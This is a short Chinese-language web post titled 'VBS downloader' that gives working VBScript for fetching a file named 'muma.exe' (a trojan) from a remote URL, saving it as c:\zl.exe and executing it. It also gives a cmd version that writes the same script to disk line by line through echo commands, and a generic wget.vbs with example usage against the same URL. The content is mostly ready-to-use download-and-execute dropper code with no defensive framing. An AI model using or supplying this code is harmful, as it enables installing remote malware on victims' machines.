VBS下载者(通过vbscript实现文件下载)
一、VBS下载者:
代码如下:
Set Post = CreateObject("Msxml2.XMLHTTP") Set Shell = CreateObject("Wscript.Shell") Post.Open "GET","http://www.jbzj.com/muma.exe",0 Post.Send() Set aGet = CreateObject("ADODB.Stream") aGet.Mode = 3 aGet.Type = 1 aGet.Open() aGet.Write(Post.responseBody) aGet.SaveToFile "c:\zl.exe",2 wscript.sleep 1000 Shell.Run ("c:\zl.exe") '延迟过后执行下载文件
二、cmd下执行的版本:
代码如下:
echo Set Post = CreateObject("Msxml2.XMLHTTP") >>zl.vbs echo Set Shell = CreateObject("Wscript.Shell") >>zl.vbs echo Post.Open "GET","http://www.jbzj.com/muma.exe",0 >>zl.vbs echo Post.Send() >>zl.vbs echo Set aGet = CreateObject("ADODB.Stream") >>zl.vbs echo aGet.Mode = 3 >>zl.vbs echo aGet.Type = 1 >>zl.vbs echo aGet.Open() >>zl.vbs echo aGet.Write(Post.responseBody) >>zl.vbs echo aGet.SaveToFile "c:\zl.exe",2 >>zl.vbs echo wscript.sleep 1000 >>zl.vbs echo Shell.Run ("c:\zl.exe") >>zl.vbs
三、wget.vbs
代码如下:
on error resume next iLocal=LCase(Wscript.Arguments(1)) iRemote=LCase(Wscript.Arguments(0)) iUser=LCase(Wscript.Arguments(2)) iPass=LCase(Wscript.Arguments(3)) set xPost=CreateObject("Microsoft.XMLHTTP") if iUser="" and iPass="" then xPost.Open "GET",iRemote,0 else xPost.Open "GET",iRemote,0,iUser,iPass end if xPost.Send() set sGet=CreateObject("ADODB.Stream") sGet.Mode=3 sGet.Type=1 sGet.Open() sGet.Write xPost.ResponseBody sGet.SaveToFile iLocal,2
使用方法:cscript wget.vbs http://www.jbzj.com/muma.exe
相关推荐
jyj00 2006-11-15
cbqstars 2020-08-16
未来战士 2019-12-08
架构技术交流 2019-12-17
laohyx 2019-10-23
airfling 2019-11-25
luohui 2009-07-23
大尉 2009-01-05
weiloser 2008-08-16
wesai 2019-09-05
bentengdi 2008-06-23
SometimesYmc 2008-06-20
xsjezp 2008-06-20
HTMLzuo 2019-09-05
86560895 2007-03-27
diediexiaomi 2007-03-25
潇汀 2007-03-07
以梦为马不负韶华 2007-03-07